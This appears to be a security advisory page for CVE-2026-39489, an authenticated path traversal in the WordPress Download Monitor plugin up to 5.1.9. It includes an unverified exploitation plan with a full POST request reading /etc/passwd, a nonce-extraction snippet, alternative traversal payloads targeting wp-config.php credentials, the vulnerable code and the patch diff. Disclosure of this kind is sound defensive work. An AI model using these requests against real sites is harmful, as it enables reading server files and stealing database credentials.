CVE-2026-39489

Download Monitor <= 5.1.9 - Authenticated (Author+) Arbitrary File Download

mediumImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
5.1.10
Patched in
11d
Time to patch

Description

The Download Monitor plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 5.1.9. This makes it possible for authenticated attackers, with Author-level access and above, to read the contents of arbitrary files on the server, which can contain sensitive information.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=5.1.9
PublishedApril 20, 2026
Last updatedApril 30, 2026
Affected plugindownload-monitor

What Changed in the Fix

Changes introduced in v5.1.10

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-39489 ## 1. Vulnerability Summary The **Download Monitor** plugin (up to 5.1.9) is vulnerable to **Path Traversal** and **Arbitrary File Download**. The vulnerability exists in the "Quick-add" download functionality within the Media Browser interface. Specifi…

Show full research plan

Exploitation Research Plan - CVE-2026-39489

1. Vulnerability Summary

The Download Monitor plugin (up to 5.1.9) is vulnerable to Path Traversal and Arbitrary File Download. The vulnerability exists in the "Quick-add" download functionality within the Media Browser interface. Specifically, the plugin fails to properly validate the download_url parameter provided during the creation of a new download. This allows an authenticated user with sufficient privileges (Author and above, or any user with the manage_downloads capability) to create a download entry pointing to sensitive files on the server (e.g., /etc/passwd, wp-config.php). Once created, the attacker can download these files through the plugin's frontend download mechanism.

2. Attack Vector Analysis

  • Endpoint: wp-admin/media-upload.php?tab=quick-add (Action triggered by media_upload_add_download hook)
  • HTTP Method: POST
  • Vulnerable Parameter: download_url
  • Authentication: Author level or any user with manage_downloads capability.
  • Preconditions: The attacker must have access to the Media Browser's "Insert Download" interface.

3. Code Flow

  1. Entry Point: The class DLM_Admin_Media_Insert (in src/Admin/MediaInsert.php) registers the media_upload_add_download hook (line 34) which calls the media_browser() method.
  2. Access Control: The media_browser() method checks if the current user has the manage_downloads capability (line 99).
  3. Form Processing: If a POST request is sent with download_url and download_title, the method verifies the nonce quick-add-nonce (line 104).
  4. Post Creation:
    • It creates a new dlm_download post (line 120).
    • It creates a corresponding dlm_download_version post (line 139).
  5. Path Resolution: The plugin instantiates DLM_File_Manager and calls $file_manager->get_secure_path( $url ) using the user-provided $url (line 152).
  6. Persistence: The resulting $file_path (which remains unvalidated for path traversal) is stored in the _files meta field of the dlm_download_version post (line 157).
  7. Exploitation Sink: When a user requests the download via /?download=[ID], the plugin retrieves the path from the _files meta and serves the file content without checking if the file resides within an allowed directory.

4. Nonce Acquisition Strategy

The nonce is required for the quick-add action. It is generated using wp_create_nonce( 'quick-add' ) and embedded in the HTML of the Media Browser frame.

  1. Navigate to the Media Browser: Open the "Insert Download" frame.
    • URL: wp-admin/media-upload.php?type=add_download&tab=quick-add
  2. Extract Nonce: Use the browser context to read the value of the hidden input field.
    • JavaScript: document.querySelector('input[name="quick-add-nonce"]').value
    • Tool: browser_eval("document.querySelector('input[name=\"quick-add-nonce\"]').value")

5. Exploitation Strategy

  1. Setup User: Log in as a user with the author role. Ensure the role has manage_downloads (standard for Download Monitor configurations).
  2. Get Nonce: Navigate to the Media Upload page and extract the quick-add nonce.
  3. Create Malicious Download: Send a POST request to wp-admin/media-upload.php?type=add_download&tab=quick-add to create a download pointing to /etc/passwd.
  4. Identify Download ID: Use the response or WP-CLI to find the ID of the newly created dlm_download.
  5. Read File: Navigate to the download URL on the frontend to retrieve the file content.

HTTP Request (Step 3):

POST /wp-admin/media-upload.php?type=add_download&tab=quick-add HTTP/1.1
Host: [TARGET_HOST]
Content-Type: application/x-www-form-urlencoded
Cookie: [AUTH_COOKIES]

download_url=/etc/passwd&download_title=SystemData&download_version=1.0&quick-add-nonce=[EXTRACTED_NONCE]

6. Test Data Setup

  1. Plugin: Install and activate Download Monitor 5.1.9.
  2. User:
    • wp user create attacker attacker@example.com --role=author --user_pass=password
    • wp cap add author manage_downloads (To satisfy the current_user_can('manage_downloads') check in src/Admin/MediaInsert.php).
  3. Configuration: No specific settings required, as the vulnerability is in the default "Quick-add" logic.

7. Expected Results

  • The POST request should return a success message in the HTML: <div class="updated"><p>Download successfully created.</p></div>.
  • A new dlm_download post and dlm_download_version post will be visible in the database.
  • Requesting /?download=[ID] will return the contents of the server's /etc/passwd file.

8. Verification Steps

  1. Database Check: Verify the file path is stored.
    # Find the ID of the latest version
    VERSION_ID=$(wp post list --post_type=dlm_download_version --posts_per_page=1 --orderby=ID --order=DESC --field=ID)
    # Check the meta value
    wp post meta get $VERSION_ID _files
    
    Result should be a JSON-encoded string containing "/etc/passwd".
  2. Download Check:
    • Locate the parent Download ID (post_parent of the version).
    • Use the http_request tool to fetch GET /?download=[ID].
    • Confirm the response contains root:x:0:0:.

9. Alternative Approaches

  • Path Variants: If absolute paths are blocked, try relative traversal: ../../../../../../../../etc/passwd.
  • Protocol Wrappers: If the plugin validates paths but not schemes, try file:///etc/passwd.
  • WordPress Config: Target wp-config.php (relative to the WordPress root) to extract database credentials: download_url=../wp-config.php.
  • REST API: Check if the REST API version creation (/wp-json/download-monitor/v1/downloads) is similarly unprotected, as hinted by the DLM_File_Manager usage.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Download Monitor plugin for WordPress is vulnerable to Path Traversal in versions up to 5.1.9 via the 'Quick-add' download feature. This allows authenticated attackers with Author-level access or the 'manage_downloads' capability to create download records pointing to sensitive local files (like /etc/passwd or wp-config.php) and subsequently download them via the plugin's frontend mechanism.

Vulnerable Code

// src/Admin/MediaInsert.php:82
		// phpcs:ignore
		if ( ! empty( $_POST['download_url'] ) && ! empty( $_POST['download_title'] ) && isset( $_POST['quick-add-nonce'] ) && wp_verify_nonce( $_POST['quick-add-nonce'], 'quick-add' ) ) {

			$url     = esc_url_raw( wp_unslash( $_POST['download_url'] ) );
			$title   = sanitize_text_field( wp_unslash( $_POST['download_title'] ) );
			$version = isset( $_POST['download_version'] ) ? sanitize_text_field( wp_unslash( $_POST['download_version'] ) ) : '';

			try {
        // ...
					// File Manager
					$file_manager = new DLM_File_Manager();
					
					list( $file_path )  = $file_manager->get_secure_path( $url );

					// Meta
					update_post_meta( $file_id, '_version', $version );
					update_post_meta( $file_id, '_filesize', $file_manager->get_file_size( $file_path ) );
					update_post_meta( $file_id, '_files', $file_manager->json_encode_files( array( $file_path ) ) );

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/download-monitor/5.1.9/src/Admin/MediaInsert.php	2024-11-28 14:28:34.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/download-monitor/5.1.10/src/Admin/MediaInsert.php	2026-03-05 07:46:28.000000000 +0000
@@ -82,6 +82,10 @@
 		// phpcs:ignore
 		if ( ! empty( $_POST['download_url'] ) && ! empty( $_POST['download_title'] ) && isset( $_POST['quick-add-nonce'] ) && wp_verify_nonce( $_POST['quick-add-nonce'], 'quick-add' ) ) {
 
+			if ( ! current_user_can( 'manage_downloads' ) ) {
+				wp_die( esc_html__( 'You do not have sufficient permissions to perform this action.', 'download-monitor' ) );
+			}
+
 			$url     = esc_url_raw( wp_unslash( $_POST['download_url'] ) );
 			$title   = sanitize_text_field( wp_unslash( $_POST['download_title'] ) );
 			$version = isset( $_POST['download_version'] ) ? sanitize_text_field( wp_unslash( $_POST['download_version'] ) ) : '';

Exploit Outline

1. Authenticate as an Author or any user with the 'manage_downloads' capability. 2. Access the Media Browser interface at 'wp-admin/media-upload.php?type=add_download&tab=quick-add' to retrieve a valid 'quick-add-nonce' from the hidden HTML input. 3. Send a POST request to the same endpoint ('wp-admin/media-upload.php?type=add_download&tab=quick-add') with the 'download_url' parameter set to the target sensitive file path (e.g., '/etc/passwd' or '../wp-config.php'). 4. Observe the response to identify the ID of the newly created download (dlm_download post type). 5. Visit the site frontend and request the download via the URL '/?download=[ID]' to retrieve the contents of the sensitive file.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.